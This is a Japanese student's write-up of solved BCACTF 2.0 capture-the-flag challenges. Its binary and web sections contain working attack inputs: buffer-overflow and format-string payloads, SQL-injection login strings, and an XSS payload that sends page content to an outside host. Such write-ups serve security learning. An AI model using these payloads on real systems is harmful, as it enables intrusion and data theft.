BCACTF 2.0

2021 6/10～6/13
学生向け。最初の方はとても簡単

writeupというか自分の参加したメモみたいな感じ

解けた奴
# misc
## Example Problem
メッセージにフラグが書いてある．
## Obligatory Discord Problem
Discordに入るともらえた
## Survey
GoogleFormに回答するともらえた
## I Can Haz Interwebz?
指定されたアドレスにncで接続するとフラグが出てくる

# binex
## BCA Mart
接続すると，所持金と買うものが表示される。最初は15\$．フラグは100\$．
その他2\$の商品などがある。
買う個数に、2147483647と入れると、オーバーフローしてお金が増えるので100\$までにしてから買うとフラグ

## Honors ABCs
```C
    int grade = 0;
    char response[50];
~ 省略~
    gets(response);
```
gradeが100超の時にフラグ
getsで54文字適当になんか書き込めばgradeを書き換えられるのでフラグ

## AP ABCs
```C
    int score = 1;
    char response[50];
~ 省略~
    gets(response);
```
ソースを読むとscore=0x73434241でフラグが手に入る
Honors ABCsと同じで適当に54文字書き込めばフラグ

```python
text = "B"*50 + '\x41\x42\x43\x73'
```

## American Literature
```C
int main() {
    int length;
    char essay[50];

    setbuf(stdout, NULL);
    setbuf(stdin, NULL);
    setbuf(stderr, NULL);
    FILE *fp = fopen("flag.txt", "r");
    char example_essay[100];
    fgets(example_essay, sizeof(example_essay), fp);

    fgets(essay, sizeof(essay), stdin);
    essay[strcspn(essay, "\n")] = 0;
    length = strlen(essay);
~省略~
    printf(essay);
}
```
入力した文字をそのままprintfされる
string format attack
```%x%x%x%x%x%x%x ...```
ってってやったら20引数目からフラグだったので
```%20$llx.%21$llx.%22$llx ...```
と入力して取得あとは文字コードを変換してフラグ
## Math Analysis
```C
void cheat() {
    FILE *fp = fopen("flag.txt", "r");
    char flag[100];

    fgets(flag, sizeof(flag), fp);
    puts(flag);
}

int main() {
    char response[50];

    setbuf(stdout, NULL);
    setbuf(stdin, NULL);
    setbuf(stderr, NULL);
    printf("For example, here's a number: %d.\n", cheat);

    printf("> ");
    gets(response);

    ~省略~
}
```

ご丁寧にcheatのアドレスが表示されているので，退避アドレスをそれに書き換えればいい
gdbで退避アドレスの位置を調べて，

```python
line = "A"*54+'\x00'*8+'\x16\x12\x40\x00'
```

でフラグ

## Advanced Math Analysis
```C

void cheat() {
    FILE *fp = fopen("flag.txt", "r");
    char flag[100];

    fgets(flag, sizeof(flag), fp);
    puts(flag);
}

int main() {
    char response[50];

    setbuf(stdout, NULL);
    setbuf(stdin, NULL);
    setbuf(stderr, NULL);

    gets(response);

    if (strcmp(response, "i pledge to not cheat")) {
        exit(1);
    }

}
```


入力文字が"i pledge to not cheat"じゃないと終了してしまうが
strcmpはヌル文字までの判定なのでヌル文字入れた後にアドレス書き換えコードをかく

```Python
from pwn import *

p = process('./analysis.ts')

line = "i pledge to not cheat\x00"
line += "A"*(64-22)
line += "A"*8
line += '\x16\x12\x40\x00'
p.sendline(line)

```

# crypto
## Easy RSA
pとqとeが与えられるので
https://www.dcode.fr/rsa-cipher
にいれるだけ

## 􃗁􌲔􇺟􊸉􁫞􄺷􄧻􃄏􊸉
テキストファイルが配布されるが，中身は謎文字で読めない。数字は表示されている．
一番最後のところに□□□□□□{□□□□□□□□□□}みたいなやつがあったので，そこからbcactf{...}になるように置換した。
そうすると，urlが出てきたのでhttps://を置換して，あとはt□eみたいなtheと分かる所などから置換する。そうするとフラグ

暗号全然とけません……

# foren
## Infinite Zip
flag.zipが配布される．flag.zipの中を展開すると999.zip，その中に998.zip……となっている
ひとまず展開するとflag.pngが出現するが，この画像を開いて書いてあるflagはダミー
stringsコマンドを使うとなんかフラグが出てきた（うろ覚え）

## Gerald's New Job
gerald.pdfが配布される。画像が1枚はってある。
pdfにbinwalk使うと，いくつかファイルがあり，その中にflag.zipというのがあるので，その中のflag.pngが開けた。

## More than Meets the Eye
テキストファイルが渡されるが中身は一見空．
binary editorで開くと，２種類の表示できない文字で構成されているので
適当に1と0に変換
8こづつ並べて，2進数変換すると文字コードになってるのでそれがフラグ

## Secure Zip
zipが配布される。パスワードが分からない。
パスワード解析ツールに突っ込む。自分が使ったやつは1時間ぐらいでパスワードが分かったので，その中にフラグがある


# rev
## Digitally Encrypted 1
Digitalというソフトで動くファイルが配布される。
読み込んでみるとデジタル回路が入っていた。それに配布されている暗号化文字列を突っ込むとフラグ

## Storytime: The Opening Gambit
ELFファイルが配布
stringsコマンドでフラグが出てくる

## A Fun Game
.net実行ファイルが配布される
ILSpyで逆アセンブルすると，"flag".reverse()となっているので取り出してリバースしたらフラグ

#webex
## Countdown Timer
タイマーを入力する欄とタイマーが表示される
タイマーは1=1日となっており，100以上しか入力できない．
javascriptを読むとタイマー=0でフラグが表示される

100と入力してsubmit，
その後デバッグツールからコンソールを開き，
```time=0```
でフラグ

## Home Automation
家のライトを外部から操作できる？
Login as guestで操作画面に入ると，Lights:Onと表示されているのでクリック

```
You must be admin to turn off the lights. Currently you are "vampire".
```
と出て操作できない
cookieを見ると，user=vampireとなっているので，そこをadminに書き換えてフラグ

## Movie-Login-1
ログイン画面
ユーザーに
```admin' OR 1=1;--```
と打ったらフラグ

## Wasm Protected Site 1
パスワード入力画面が出てきて，それが外部wasmに引数として渡されて，正解するとフラグが出てくる．
wasmをチェック．ブラウザのデバッグツールを見ると，フラグ文字列が書いてあった．
それがフラグ

## Agent Gerald
ブラウザエージェントがgerald以外だとはじかれる。geraldにしてアクセスするとフラグ

## Movie-Login-2
1とほぼ同じだが0,1がサニタイズされて使えない。
```admin' OR true;--```
と打ったらフラグ

## Movie-Login-3
2と同じだが，1,0,true,and,is,null,=……などがサニタイズされて使えない
```admin' OR 2;--```
と打ったらフラグ

## Regular Website
入力欄があり，そこに入力すると，管理者がその入力したやつをhtmlとして読み込んでくれる．
ただし

```javascript
const sanitized = text.replace(/<[\s\S]*>/g, "XSS DETECTED!!!!!!");
```
とサニタイズされている

```
<img src="a.png" onerror="location.href='http://www.example.com/?a=' + document.querySelectorAll('.p')[2].innerText;"
```
としてブラウザの自動タグ補完機能を使ってサニタイズを回避．example.comは自分のurlにしてください

フラグが送られてくるのでそれがフラグ
## Wasm Protected Site 2
Wasm Protected Site 1と同じだが，パスワードではなくフラグの入力欄しかない。
同様にwasmを逆アセンブル

```wasm
(module
  (memory $memory0 1)
  (export "memory" (memory $memory0))
  (export "checkFlag" (func $checkFlag))
  (func $cmp (;0;) (param $v0 (;0;) i32) (param $v1 (;1;) i32) (result i32)
    (local $v2 (;2;) i32)
    loop $label0
      local.get $v2
      local.get $v0
      i32.add
      i32.load8_u
      local.get $v2
      local.get $v1
      i32.add
      i32.load8_u
      local.get $v2
      i32.const 9
      i32.mul
      i32.const 127
      i32.and
      i32.xor
      i32.ne
      local.get $v2
      i32.const 27
      i32.ne
      i32.and
      if
        i32.const 0
        return
      end
      local.get $v2
      i32.const 1
      i32.add
      local.tee $v2
      i32.const 1
      i32.sub
      local.get $v0
      i32.add
      i32.load8_u
      i32.eqz
      if
        i32.const 1
        return
      end
      br $label0
    end $label0
    i32.const 0
    return
  )
  (func $checkFlag (;1;) (param $a (;0;) i32) (result i32)
    local.get $a
    i32.const 1000
    call $cmp
    return
  )
  (data (i32.const 1000) "bjsxPKMH|\227N\1bD\043b]PR\19e%\7f/;\17")
)
```

WASMは読みやすいので，復元してみるとなんかよくわからんxorをしている
それをpythonにする．

```python
code = 'bjsxPKMH|\\227N\\1bD\\043b]PR\\19e%\\7f/;\\17'

r=[]
i = 0
j = 0
while True:
	cc = ord(code[i:i+1])
	if(code[i:i+1] == '\\'):
		cc = int(code[i+1:i+3], 16)
	ee = cc^((j*9)%128)
	dd = chr( ee)
	r.append(dd)
	if(code[i:i+1] == '\\'):
		i+=3
	else:
		i+=1
	j += 1
	if(i==len(code)):
		break

print(''.join(r))
```

wasmのstringの特殊文字の\00にハマった。きをつける